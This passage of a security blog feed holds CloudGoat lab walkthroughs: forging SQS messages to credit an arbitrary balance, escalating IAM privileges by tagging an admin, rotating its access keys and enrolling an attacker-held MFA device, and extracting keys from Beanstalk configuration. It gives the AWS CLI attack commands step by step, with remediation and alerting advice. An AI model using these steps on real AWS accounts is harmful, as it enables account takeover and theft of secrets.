<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/2d9627c3-b90c-485e-a72b-d8510c9e0eff.png" alt="" style="display:block;margin:0 auto" />

<h3>Who we are</h3>
<pre><code class="language-shell">$ aws sts get-caller-identity --profile sqsuser
{
    "UserId": "AIDAUWJPWY7OZZSLIOAQY",
    "Account": "322759477213",
    "Arn": "arn:aws:iam::322759477213:user/cg-sqs-user-cgidga3ktobers"
}
</code></pre>
<h3>Our policy</h3>
<pre><code class="language-shell">$ aws iam list-user-policies --user-name cg-sqs-user-cgidga3ktobers --profile sqsuser
{
    "PolicyNames": [
        "cg-sqs-scenario-assumed-role"
    ]
}
 
$ aws iam get-user-policy --policy-name cg-sqs-scenario-assumed-role --user-name cg-sqs-user-cgidga3ktobers --profile sqsuser
&lt;SNIP&gt;
            {
                "Action": [ "iam:Get*", "iam:List*" ],
                "Effect": "Allow",
                "Resource": "*"
            },
            {
                "Action": "sts:AssumeRole",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::322759477213:role/cg-sqs-send-message-cgidga3ktobers"
            }
</code></pre>
<p>The policy name tells us where we're going, and the IAM read access means we can find out what the role does before we assume it. That's the right order: read first, so you know what you're stepping into.</p>
<h3>Roles</h3>
<pre><code class="language-shell">$ aws iam list-roles --profile sqsuser
&lt;SNIP&gt;
        {
            "RoleName": "cg-sqs-lambda-cgidga3ktobers",
            "AssumeRolePolicyDocument": {
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": { "Service": "lambda.amazonaws.com" },
                        "Action": "sts:AssumeRole"
                    }
                ]
            }
        },
        {
            "RoleName": "cg-sqs-send-message-cgidga3ktobers",
            "AssumeRolePolicyDocument": {
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": { "AWS": "arn:aws:iam::322759477213:user/cg-sqs-user-cgidga3ktobers" },
                        "Action": "sts:AssumeRole"
                    }
                ]
            }
        }
</code></pre>
<p>Two non-service roles, and together they describe both ends of a pipeline. One is assumable by us, the other by Lambda.</p>
<pre><code class="language-shell">$ aws iam get-role-policy --role-name cg-sqs-send-message-cgidga3ktobers --policy-name cg-sqs --profile sqsuser
&lt;SNIP&gt;
            {
                "Action": [
                    "sqs:GetQueueUrl",
                    "sqs:SendMessage"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:sqs:us-east-1:322759477213:cash_charging_queue"
            }
</code></pre>
<p>Producer side. We can write to a queue called <code>cash_charging_queue</code>, and the resource ARN hands us the queue name for free.</p>
<pre><code class="language-shell">$ aws iam list-attached-role-policies --role-name cg-sqs-lambda-cgidga3ktobers --profile sqsuser
&lt;SNIP&gt;
    "PolicyName": "AWSLambdaSQSQueueExecutionRole",
    "PolicyName": "AWSLambdaVPCAccessExecutionRole",
 
$ aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/service-role/AWSLambdaSQSQueueExecutionRole --version-id v1 --profile sqsuser
&lt;SNIP&gt;
                    "Action": [
                        "sqs:ReceiveMessage",
                        "sqs:DeleteMessage",
                        "sqs:GetQueueAttributes",
                        &lt;SNIP&gt;
                    ],
</code></pre>
<p>Consumer side. A Lambda reads messages off the queue and deletes them. Nothing in either policy says the consumer checks who sent the message, or what's in it.</p>
<h3>Assuming the role</h3>
<pre><code class="language-shell">$ aws sts assume-role --role-arn arn:aws:iam::&lt;ACCOUNT_ID&gt;:role/cg-sqs-send-message-cgidga3ktobers --role-session-name assume-sqs --profile sqsuser
{
    "Credentials": {
        "AccessKeyId": "ASIAUWJPWY7O7JCHFFDT",
        "SecretAccessKey": "&lt;REDACTED&gt;",
        "SessionToken": "&lt;REDACTED&gt;",
        "Expiration": "2026-08-20T12:52:23+00:00"
    },
    "AssumedRoleUser": {
        "Arn": "arn:aws:sts::322759477213:assumed-role/cg-sqs-send-message-cgidga3ktobers/assume-sqs"
    }
}
</code></pre>
<p>These are temporary credentials, so the profile needs the session token too.</p>
<pre><code class="language-shell">$ aws configure --profile assumed-sqs
&lt;SNIP&gt;
AWS Session Token [None]: &lt;REDACTED&gt;
 
$ aws sts get-caller-identity --profile assumed-sqs
{
    "UserId": "AROAUWJPWY7O36L2W476J:assume-sqs",
    "Account": "322759477213",
    "Arn": "arn:aws:sts::322759477213:assumed-role/cg-sqs-send-message-cgidga3ktobers/assume-sqs"
}
</code></pre>
<h2>Understanding the app</h2>
<p>On the main site there's a cash charging feature.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/a74244b5-36f6-4535-ae3a-395c37dd8584.png" alt="" style="display:block;margin:0 auto" />

<p>Whenever we click any of the charge cash buttons, say <code>charge cash : 10</code>, it adds 10 to our balance.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/da2750e9-590f-42bb-824d-a64312f026b9.png" alt="" style="display:block;margin:0 auto" />

<p>Our new balance is 2511.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/53c03244-c239-4de2-a544-58805f73665f.png" alt="" style="display:block;margin:0 auto" />

<p>The flag costs far more than we can reach 10 at a time, so the question is whether we can charge an arbitrary amount. Conveniently, the back-end source for this route is sitting in the page's HTML comments.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/0d9b4dee-dc62-4b38-b759-2c5f8ad6a807.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-html">&lt;!-- The back-end source code for quick reference! I'm sure it's totally secure! --&gt;
&lt;!-- @app.route('/charge_cash/&lt;cash&gt;', methods=['POST']) --&gt;
&lt;!-- def charge_cash(cash): --&gt;
&lt;!--     cash = int(cash) --&gt;
&lt;!--     if cash==1 or cash==5 or cash==10: --&gt;
&lt;!--         msg = {"charge_amount" : cash} --&gt;
&lt;!--         message_body = json.dumps(msg) --&gt;
&lt;!--         response = sqs.sqs_client.send_message(QueueUrl=sqs.sqs_queue_url, MessageBody=message_body) --&gt;
&lt;!--         time.sleep(10) --&gt;
&lt;!--         return redirect(url_for('index')) --&gt;
&lt;!--     else: --&gt;
&lt;!--         return "BAD Request!!" --&gt;
</code></pre>
<p>The endpoint itself is fine. It only accepts 1, 5, or 10, so posting <code>/charge_cash/100000000</code> returns <code>BAD Request!!</code> and no message ever gets written. Attacking the HTTP route goes nowhere.</p>
<p>What the code actually tells us is the shape of the message: <code>{"charge_amount": &lt;int&gt;}</code>, dropped onto the queue, and something downstream credits the balance from it. The validation lives in the producer. The consumer takes the number at face value.</p>
<p>We already hold credentials for that queue, so we don't need the web app at all. It's one of two producers now, and the other one has no rules.</p>
<p>Worth noting that the exposed source is its own finding. It hands us the message schema and the queue's purpose in one go. Without it we'd be guessing at JSON key names, which is slower but not impossible, so the comment is a shortcut rather than the vulnerability.</p>
<h2>Charging an arbitrary amount</h2>
<pre><code class="language-shell">$ aws sqs get-queue-url --queue-name cash_charging_queue --profile assumed-sqs
{
    "QueueUrl": "https://sqs.us-east-1.amazonaws.com/322759477213/cash_charging_queue"
}
</code></pre>
<p>The queue name came from the resource ARN in the <code>cg-sqs</code> role policy, so no guessing was needed.</p>
<pre><code class="language-shell">$ aws sqs send-message --queue-url https://sqs.us-east-1.amazonaws.com/322759477213/cash_charging_queue --message-body '{ "charge_amount" : 100000000}' --profile assumed-sqs
{
    "MD5OfMessageBody": "4190ad380acf8efb1d9ddd854a017af6",
    "MessageId": "9d943439-5316-4db2-8241-5582b41faf78"
}
</code></pre>
<p>Give the Lambda a moment to pick it up, then refresh the site.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/f7955518-8dd5-43c1-9bae-4545eab9166b.png" alt="" style="display:block;margin:0 auto" />

<p>The balance went through, so the consumer never questioned the amount or where the message came from. Now we can buy the flag.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/1bbf9006-21f9-444d-b1af-633d583911ac.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">FLAG{sqs-shop-super-secret-item}
</code></pre>
<h2>Fixing it</h2>
<p>The queue is a trust boundary, and the app treats it as an internal channel that only it can write to.</p>
<ul>
<li><p>Validate in the consumer, not just the producer. The Lambda is the component that mutates the balance, so it's the component that has to reject a charge of 100000000. Re-check the amount against the allowed values there.</p>
</li>
<li><p>Don't hand out <code>sqs:SendMessage</code> to a principal that shouldn't be able to move money. If a human user can assume a role that writes to the charging queue, that user can charge anything, whatever the web tier says.</p>
</li>
<li><p>Strip the source code out of the HTML. Debug comments in production responses give away internal schemas and infrastructure for free.</p>
</li>
<li><p>Alert on <code>SendMessage</code> to <code>cash_charging_queue</code> where the caller is anything other than the web application's role, and on messages whose <code>charge_amount</code> falls outside the allowed set. Tear the lab down when you're finished:</p>
</li>
</ul>
<pre><code class="language-shell">$ cloudgoat destroy sqs_flag_shop
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Cloudgoat Easy: IAM Privilege Escalation by Key Rotation]]></title><description><![CDATA[In this lab, we'll be doing a walkthrough on the iam_privesc_by_key_rotation cloudgoat scenario.
Summary of the pathStart as manager user -> Enumerate users, roles, and policies -> Find SelfManageAcce]]></description><link>https://kohicha.dev/cloudgoat-easy-iam-privilege-escalation-by-key-rotation</link><guid isPermaLink="true">https://kohicha.dev/cloudgoat-easy-iam-privilege-escalation-by-key-rotation</guid><dc:creator><![CDATA[kohicha]]></dc:creator><pubDate>Mon, 17 Aug 2026 12:31:04 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/6a4ee68c-ac6c-4801-9e77-2805954345c8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this lab, we'll be doing a walkthrough on the <a href="https://github.com/RhinoSecurityLabs/cloudgoat#iam_privesc_by_key_rotation-moderate"><strong>iam_privesc_by_key_rotation</strong></a> cloudgoat scenario.</p>
<p><strong>Summary of the path</strong><code>Start as manager user</code> -&gt; <code>Enumerate users, roles, and policies</code> -&gt; <code>Find SelfManageAccess gated on a developer tag</code> -&gt; <code>Find TagResources with no condition at all</code> -&gt; <code>Tag the admin user as a developer</code> -&gt; <code>Rotate the admin's access keys</code> -&gt; <code>Enroll our own virtual MFA device on the admin</code> -&gt; <code>Assume the secretsmanager role</code> -&gt; <code>Read the secret</code></p>
<p>This one is all privilege escalation, no credential leak to pivot through. Everything we need is sitting in the manager's own inline policies, and the whole chain turns on one mistake: the condition that's supposed to restrict us is checked against a tag we're allowed to write.</p>
<p>The lab covers attribute-based access control (ABAC) and how it fails, why access key quotas matter to an attacker, and why MFA is not much of a control when the attacker can enroll the device.</p>
<h2>Setting up</h2>
<p>We'll spin up the lab and configure a profile with the manager's keys.</p>
<pre><code class="language-shell">$ cloudgoat create iam_privesc_by_key_rotation
&lt;SNIP&gt;
cloudgoat_output_manager_access_key_id = AKIAUWJPWY7O4SHYORXN
cloudgoat_output_manager_secret_key = &lt;REDACTED&gt;
 
$ aws configure --profile privesc-rotation
</code></pre>
<p>Confirm who we are.</p>
<pre><code class="language-shell">$ aws sts get-caller-identity --profile privesc-rotation
{
    "UserId": "AIDAUWJPWY7OXVOWAM7LS",
    "Account": "322759477213",
    "Arn": "arn:aws:iam::322759477213:user/manager_cgid3kaxm30j06"
}
</code></pre>
<h2>Enumeration</h2>
<h3>Users</h3>
<pre><code class="language-shell">$ aws iam get-user --profile privesc-rotation
{
    "User": {
        "UserName": "manager_cgid3kaxm30j06",
        "Arn": "arn:aws:iam::322759477213:user/manager_cgid3kaxm30j06",
        "Tags": [
            { "Key": "Scenario", "Value": "iam_privesc_by_key_rotation" },
            { "Key": "Stack", "Value": "CloudGoat" }
        ]
    }
}
</code></pre>
<p>Note the tags on our own user. That detail comes back later.</p>
<pre><code class="language-shell">$ aws iam list-users --profile privesc-rotation
&lt;SNIP&gt;
    "UserName": "admin_cgid3kaxm30j06",
    "UserName": "cloudgoat",
    "UserName": "developer_cgid3kaxm30j06",
    "UserName": "manager_cgid3kaxm30j06",
</code></pre>
<p>Three scenario users plus the cloudgoat provisioning account. <code>admin_</code> is the obvious target, and <code>developer_</code> is worth remembering.</p>
<h3>Roles</h3>
<pre><code class="language-shell">$ aws iam list-roles --profile privesc-rotation
&lt;SNIP&gt;
        {
            "RoleName": "cg_secretsmanager_cgid3kaxm30j06",
            "Arn": "arn:aws:iam::322759477213:role/cg_secretsmanager_cgid3kaxm30j06",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": { "AWS": "arn:aws:iam::322759477213:root" },
                        "Action": "sts:AssumeRole",
                        "Condition": {
                            "Bool": { "aws:MultiFactorAuthPresent": "true" }
                        }
                    }
                ]
            },
            "Description": "Access to view secrets"
        }
</code></pre>
<p>Everything else in the list is an AWS service-linked role, so this is the only one that matters. Two things stand out. The trust policy names the account root, which means any principal in the account can assume it as long as their identity policy allows <code>sts:AssumeRole</code>. And the condition requires MFA to be present on the calling session, so long-lived access keys alone won't get us in.</p>
<p>Its attached policy tells us why we want it:</p>
<pre><code class="language-shell">$ aws iam list-attached-role-policies --role-name cg_secretsmanager_cgid3kaxm30j06 --profile privesc-rotation
&lt;SNIP&gt;
    "PolicyName": "cg_view_secrets_cgid3kaxm30j06",
 
$ aws iam get-policy-version --policy-arn arn:aws:iam::322759477213:policy/cg_view_secrets_cgid3kaxm30j06 --version-id v1 --profile privesc-rotation
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": "secretsmanager:ListSecrets",
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": "secretsmanager:GetSecretValue",
                    "Effect": "Allow",
                    "Resource": "arn:aws:secretsmanager:us-east-1:322759477213:secret:cg_secret_cgid3kaxm30j06-wsVqgL"
                }
            ]
        }
    }
}
</code></pre>
<p>That's the goal. The secret is only readable through this role, and the role is only reachable with MFA.</p>
<h3>Our own permissions</h3>
<p>Let's use Pacu to enumerate what the manager can actually do, then read the policies directly.</p>
<pre><code class="language-plaintext">Pacu (privesc-rotation:imported-privesc-rotation) &gt; run iam__enum_permissions
Pacu (privesc-rotation:imported-privesc-rotation) &gt; data
&lt;SNIP&gt;
IAM: {
    "permissions": {
        "allow": [
            "iam:Get*",
            "iam:List*",
            "sts:GetCallerIdentity",
            "sts:GetSessionToken",
            &lt;SNIP&gt;
        ],
        "deny": [
            "iam:ListGroupPolicies"
        ]
    }
}
</code></pre>
<p>Pacu's list is deduplicated here. The managed policy behind most of it is <code>IAMReadOnlyAccess</code>:</p>
<pre><code class="language-shell">$ aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/IAMReadOnlyAccess --version-id v4 --profile privesc-rotation
&lt;SNIP&gt;
    "Action": [
        "iam:GenerateCredentialReport",
        "iam:GenerateServiceLastAccessedDetails",
        "iam:Get*",
        "iam:List*",
        "iam:SimulateCustomPolicy",
        "iam:SimulatePrincipalPolicy"
    ],
    "Resource": "*"
</code></pre>
<p>Read-only, so nothing exploitable on its own. The interesting permissions are in the inline policies, which is why it's worth checking <code>list-user-policies</code> and not stopping at the attached ones.</p>
<pre><code class="language-shell">$ aws iam list-user-policies --user-name manager_cgid3kaxm30j06 --profile privesc-rotation
{
    "PolicyNames": [
        "SelfManageAccess",
        "TagResources"
    ]
}
</code></pre>
<h2>Finding the flaw</h2>
<p>Here's <code>SelfManageAccess</code>:</p>
<pre><code class="language-shell">$ aws iam get-user-policy --policy-name SelfManageAccess --user-name manager_cgid3kaxm30j06 --profile privesc-rotation
&lt;SNIP&gt;
            {
                "Action": [
                    "iam:DeactivateMFADevice",
                    "iam:GetMFADevice",
                    "iam:EnableMFADevice",
                    "iam:ResyncMFADevice",
                    "iam:DeleteAccessKey",
                    "iam:UpdateAccessKey",
                    "iam:CreateAccessKey"
                ],
                "Condition": {
                    "StringEquals": {
                        "aws:ResourceTag/developer": "true"
                    }
                },
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:iam::322759477213:user/*",
                    "arn:aws:iam::322759477213:mfa/*"
                ],
                "Sid": "SelfManageAccess"
            },
            {
                "Action": [
                    "iam:DeleteVirtualMFADevice",
                    "iam:CreateVirtualMFADevice"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:iam::322759477213:mfa/*",
                "Sid": "CreateMFA"
            }
</code></pre>
<p>Read the <code>Resource</code> and the <code>Condition</code> together. The resource is <code>user/*</code>, every user in the account, and the only thing holding it back is a tag check: the target has to carry <code>developer = true</code>. The policy name says self-manage, but nothing in it ties the target to the caller. There's no <code>${aws:username}</code> anywhere. The tag is doing all the work.</p>
<p>Now <code>TagResources</code>:</p>
<pre><code class="language-shell">$ aws iam get-user-policy --policy-name TagResources --user-name manager_cgid3kaxm30j06 --profile privesc-rotation
&lt;SNIP&gt;
            {
                "Action": [
                    "iam:UntagUser",
                    "iam:UntagRole",
                    "iam:TagRole",
                    "iam:UntagMFADevice",
                    "iam:UntagPolicy",
                    "iam:TagMFADevice",
                    "iam:TagPolicy",
                    "iam:TagUser"
                ],
                "Effect": "Allow",
                "Resource": "*",
                "Sid": "TagResources"
            }
</code></pre>
<p><code>iam:TagUser</code> on <code>*</code>, no condition. So we can write the exact tag that the other policy checks, on any user we like. The gate and the key are both handed to the same principal.</p>
<p>This is the ABAC failure mode worth remembering. Tag-based conditions only hold if the tags are immutable to the people they're restricting. The moment a principal can write the attribute that gates its own access, the condition is decoration.</p>
<h2>Privilege escalation</h2>
<p>Tag the admin as a developer:</p>
<pre><code class="language-shell">$ aws iam tag-user --user-name admin_cgid3kaxm30j06 --tags '{"Key":"developer","Value":"true"}' --profile privesc-rotation
</code></pre>
<p>No output, no error, which means <code>SelfManageAccess</code> now applies to the admin user.</p>
<pre><code class="language-shell">$ aws iam list-access-keys --user-name admin_cgid3kaxm30j06 --profile privesc-rotation
{
    "AccessKeyMetadata": [
        {
            "UserName": "admin_cgid3kaxm30j06",
            "AccessKeyId": "AKIAUWJPWY7O2TPLEMG3",
            "Status": "Inactive",
            "CreateDate": "2026-08-17T08:01:51+00:00"
        },
        {
            "UserName": "admin_cgid3kaxm30j06",
            "AccessKeyId": "AKIAUWJPWY7O6GAECA4O",
            "Status": "Inactive",
            "CreateDate": "2026-08-17T08:01:51+00:00"
        }
    ]
}
</code></pre>
<p>Both existing keys are inactive, and there are two of them. IAM caps users at two access keys, so <code>create-access-key</code> will fail until we free a slot. That's the reason this scenario is called key <em>rotation</em> rather than key creation. We have to delete before we create.</p>
<pre><code class="language-shell">$ aws iam delete-access-key --access-key-id AKIAUWJPWY7O6GAECA4O --user-name admin_cgid3kaxm30j06 --profile privesc-rotation
 
$ aws iam create-access-key --user-name admin_cgid3kaxm30j06 --profile privesc-rotation
{
    "AccessKey": {
        "UserName": "admin_cgid3kaxm30j06",
        "AccessKeyId": "AKIAUWJPWY7O365QZMMQ",
        "Status": "Active",
        "SecretAccessKey": "&lt;REDACTED&gt;",
        "CreateDate": "2026-08-17T09:44:45+00:00"
    }
}
</code></pre>
<p>Both of the admin's original keys were already inactive here, so deleting one costs nothing. On a real engagement that delete is destructive and can break whatever was using the key, so it needs to be in scope and agreed before you run it.</p>
<p>Configure the new keys and confirm.</p>
<pre><code class="language-shell">$ aws configure --profile admin
 
$ aws sts get-caller-identity --profile admin
{
    "UserId": "AIDAUWJPWY7OQCUFTJKVL",
    "Account": "322759477213",
    "Arn": "arn:aws:iam::322759477213:user/admin_cgid3kaxm30j06"
}
</code></pre>
<p>We're the admin. This maps to MITRE <a href="https://attack.mitre.org/techniques/T1098/001/">T1098.001</a>, Account Manipulation: Additional Cloud Credentials.</p>
<h2>Getting past the MFA condition</h2>
<p>Being admin isn't enough, because the secretsmanager role wants <code>aws:MultiFactorAuthPresent</code> to be true and our session is a plain access key. The admin has no MFA device registered, so we'll register one of our own.</p>
<p>The <code>CreateMFA</code> statement in <code>SelfManageAccess</code> has no tag condition at all, so the manager can create a virtual MFA device outright:</p>
<pre><code class="language-shell">$ aws iam create-virtual-mfa-device --virtual-mfa-device-name test --outfile code.txt --bootstrap-method Base32StringSeed --profile privesc-rotation
{
    "VirtualMFADevice": {
        "SerialNumber": "arn:aws:iam::322759477213:mfa/test"
    }
}
 
$ cat code.txt
&lt;REDACTED BASE32 SEED&gt;
</code></pre>
<p>Feed that seed into any TOTP generator to produce codes.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/b644db94-ed3f-4400-a5b9-11bcd7fdd81f.png" alt="" style="display:block;margin:0 auto" />

<p>Then attach the device to the admin user. <code>iam:EnableMFADevice</code> is in the tag-gated statement, and we already tagged the admin, so it goes through. Enabling requires two consecutive codes to prove the seed is synced.</p>
<pre><code class="language-shell">$ $ aws iam enable-mfa-device --user-name admin_cgid3kaxm30j06 --serial-number arn:aws:iam::322759477213:mfa/test --authentication-code1 827460 --authentication-code2 861266 --profile privesc-rotation
</code></pre>
<p>The admin account now has an MFA device that we control, which is <a href="https://attack.mitre.org/techniques/T1556/006/">T1556.006</a>, Modify Authentication Process: Multi-Factor Authentication. MFA only helps if the enrollment path is protected as carefully as the login path.</p>
<h2>Assuming the role</h2>
<p>With a token code in hand, the trust policy's condition is satisfied.</p>
<pre><code class="language-shell">$ aws sts assume-role --role-arn arn:aws:iam::322759477213:role/cg_secretsmanager_cgid3kaxm30j06 \
    --role-session-name privesc --profile admin \
    --token-code 032104 --serial-number arn:aws:iam::322759477213:mfa/test
{
    "Credentials": {
        "AccessKeyId": "ASIAUWJPWY7O6K3G6FKW",
        "SecretAccessKey": "&lt;REDACTED&gt;",
        "SessionToken": "&lt;REDACTED&gt;",
        "Expiration": "2026-08-17T12:36:39+00:00"
    },
    "AssumedRoleUser": {
        "Arn": "arn:aws:sts::322759477213:assumed-role/cg_secretsmanager_cgid3kaxm30j06/privesc"
    }
}
</code></pre>
<p>These are temporary credentials, so the profile needs the session token as well as the key pair.</p>
<pre><code class="language-shell">$ aws configure --profile privesc-rotation-secretsmanager
&lt;SNIP&gt;
AWS Session Token [None]: &lt;REDACTED&gt;
 
$ aws sts get-caller-identity --profile privesc-rotation-secretsmanager
{
    "UserId": "AROAUWJPWY7OTWVQUNQ2H:privesc",
    "Account": "322759477213",
    "Arn": "arn:aws:sts::322759477213:assumed-role/cg_secretsmanager_cgid3kaxm30j06/privesc"
}
</code></pre>
<h2>Reading the secret</h2>
<pre><code class="language-shell">$ aws secretsmanager list-secrets --profile privesc-rotation-secretsmanager
&lt;SNIP&gt;
    "Name": "cg_secret_cgid3kaxm30j06",
    "Description": "The primary secret for the iam_privesc_by_key_rotation scenario",
 
$ aws secretsmanager get-secret-value --secret-id cg_secret_cgid3kaxm30j06 --profile privesc-rotation-secretsmanager
&lt;SNIP&gt;
    "SecretString": "flag{14m_PERM15510N5_4Re_5C4R_24619fa09720f435778fb154d6b1aab6fc93f7af319433906862129ac8838780}",
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/de39c48b-c601-4e27-b775-07a8fc3afca5.png" alt="" style="display:block;margin:0 auto" />

<h2>Final Flag</h2>
<pre><code class="language-plaintext">flag{14m_PERM15510N5_4Re_5C4R_24619fa09720f435778fb154d6b1aab6fc93f7af319433906862129ac8838780}
</code></pre>
<h2>Fixing it</h2>
<p>The chain breaks at several points, and each one is a separate mistake:</p>
<ul>
<li><p>Don't grant <code>iam:TagUser</code> and a tag-gated permission to the same principal. If a condition depends on <code>aws:ResourceTag/developer</code>, then writing that tag has to be a privileged operation, restricted to a role the user can't reach.</p>
</li>
<li><p>Scope <code>SelfManageAccess</code> to the caller. <code>arn:aws:iam::&lt;ACCOUNT_ID&gt;:user/${aws:username}</code> is what the policy name implies and what the resource block should have said, instead of <code>user/*</code> with a tag as the only guard.</p>
</li>
<li><p>Split MFA enrollment from MFA use. <code>iam:EnableMFADevice</code> and <code>iam:CreateVirtualMFADevice</code> on other users' identities is an authentication bypass, not a helpdesk convenience.</p>
</li>
<li><p>Alert on CloudTrail <code>TagUser</code>, <code>CreateAccessKey</code>, and <code>EnableMFADevice</code> where the caller doesn't match the target user. Any one of those three on its own is worth a look. All three from the same principal inside a few minutes is the whole attack. Tear the lab down when you're finished:</p>
</li>
</ul>
<pre><code class="language-shell">$ cloudgoat destroy iam_privesc_by_key_rotation
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Cloudgoat Easy: Beanstalk Secrets]]></title><description><![CDATA[In this lab, we'll be doing a walkthrough on an easy cloudgoat lab.
Summary of the pathEnumerate Beanstalk environment on low priv user -> Get environment existing configuration -> Find hard-coded acc]]></description><link>https://kohicha.dev/cloudgoat-easy-beanstalk-secrets</link><guid isPermaLink="true">https://kohicha.dev/cloudgoat-easy-beanstalk-secrets</guid><dc:creator><![CDATA[kohicha]]></dc:creator><pubDate>Sat, 15 Aug 2026 14:14:55 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/0b9c31ff-5a65-41d2-b5e4-79070062e4ad.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this lab, we'll be doing a walkthrough on an easy <a href="https://github.com/RhinoSecurityLabs/cloudgoat#beanstalk_secrets-easy"><strong>cloudgoat lab</strong></a>.</p>
<p><strong>Summary of the path</strong><code>Enumerate Beanstalk environment on low priv user</code> -&gt; <code>Get environment existing configuration</code> -&gt; <code>Find hard-coded access keys to another user</code> -&gt; <code>Pivot to secondary user and read policies</code> -&gt; <code>Find CreateAccessKey scoped to *</code> -&gt; <code>List interesting users</code> -&gt; <code>Privilege escalation via creating access keys for admin user and get flag</code></p>
<p>Two things happen here, and they're worth separating. The hard-coded keys get us <strong>lateral movement</strong>, since we move to a different identity without knowing yet whether it's more privileged than ours. The <strong>privilege escalation</strong> is the last step, where an overly broad <code>iam:CreateAccessKey</code> lets us mint credentials for an account we were never supposed to touch.</p>
<p>This lab covers the importance of enumeration, especially looking into configurations that might have exposed access keys you can use to pivot to another IAM user. It also covers how to abuse an overprivileged user, and why you should never use <code>*</code> wildcards in your AWS environment.</p>
<h2>Setting up</h2>
<p>We'll spin up the lab via <a href="https://github.com/RhinoSecurityLabs/cloudgoat">cloudgoat</a>, and get our initial low privilege access keys.</p>
<pre><code class="language-shell">$ cloudgoat create beanstalk_secrets
&lt;SNIP&gt;
[cloudgoat] terraform output completed with no error code.
initial_low_priv_credentials = Access Key: AKIAUWJPWY7O5GAB6YEH
Secret Key: &lt;REDACTED&gt;
$ aws configure --profile beanstalk
 
AWS Access Key ID [None]: AKIAUWJPWY7O5GAB6YEH
AWS Secret Access Key [None]: &lt;REDACTED&gt;
Default region name [None]: us-east-1
Default output format [None]: json
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/4b5db72d-07c7-48c7-804c-f250dcfc501f.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/68950130-56e4-4c0c-8bac-41276faff8b8.png" alt="" style="display:block;margin:0 auto" />

<p>That's everything we start with: one set of keys, no idea yet what they can do.</p>
<h2>Enumeration</h2>
<p>We'll check the available environments of this user via <a href="https://docs.aws.amazon.com/cli/latest/reference/elasticbeanstalk/describe-environments.html">describe-environments</a>.</p>
<pre><code class="language-shell">$ aws elasticbeanstalk describe-environments --profile beanstalk
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/880b634c-df9e-4193-837a-1b7aecebebd6.png" alt="" style="display:block;margin:0 auto" />

<p>We can then use <a href="https://docs.aws.amazon.com/cli/latest/reference/elasticbeanstalk/describe-configuration-settings.html">describe-configuration-settings</a> to get further information on the environment.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/67d75b72-f33d-4316-8016-1fde005ace57.png" alt="" style="display:block;margin:0 auto" />

<p>Scrolling down, we can see a namespace that has hard-coded access keys.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/748d0d7e-8d7d-4652-8b8b-fcca1c1a3f43.png" alt="" style="display:block;margin:0 auto" />

<p>Worth pausing on why this works at all. Environment variables set on a Beanstalk environment live under the <code>aws:elasticbeanstalk:application:environment</code> namespace, and Beanstalk treats them as configuration, not as secrets. There's no redaction on read. Any principal holding <code>elasticbeanstalk:DescribeConfigurationSettings</code> gets the values back in plaintext, so if a developer drops long-lived keys into an env var, read access to the environment config is read access to the credentials.</p>
<h2>Pivoting to the secondary user and enumerating policies</h2>
<p>Configure a profile for <strong>secondary_user</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/d88ca993-f247-4db4-b4a7-ba6a84d409f8.png" alt="" style="display:block;margin:0 auto" />

<h3>Enumerating the policies for the user</h3>
<pre><code class="language-shell">$ aws iam list-attached-user-policies --user-name cgid6sd400b28h_secondary_user --profile beanstalk-01
$ aws iam get-policy --policy-arn arn:aws:iam::322759477213:policy/cgid6sd400b28h_secondary_policy --profile beanstalk-01
$ aws iam get-policy-version --policy-arn arn:aws:iam::322759477213:policy/cgid6sd400b28h_secondary_policy --version-id v1 --profile beanstalk-01
</code></pre>
<p>Listing the attached user policies.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/c11bec3c-a9e2-4fc1-a8b2-282f7d1ec967.png" alt="" style="display:block;margin:0 auto" />

<p>Getting the specific policy.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/6757caa3-8bb9-4ee9-b3c1-eccd0287e0fa.png" alt="" style="display:block;margin:0 auto" />

